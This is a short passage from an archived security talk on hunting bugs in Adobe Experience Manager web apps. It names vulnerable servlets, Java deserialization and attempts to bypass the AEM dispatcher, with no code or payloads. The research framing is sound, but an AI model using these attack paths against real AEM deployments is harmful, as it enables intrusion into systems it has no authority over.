via AuditLogServlet • ExternalJobPostServlet javadeser • ... 109/110 Tries to bypass AEM
dispatcher!!!

THANK U! @0ang3el

Archived from <https://speakerdeck.com/0ang3el/hunting-for-security-bugs-in-aem-webapps>. Rendered offline from the local Markdown copy.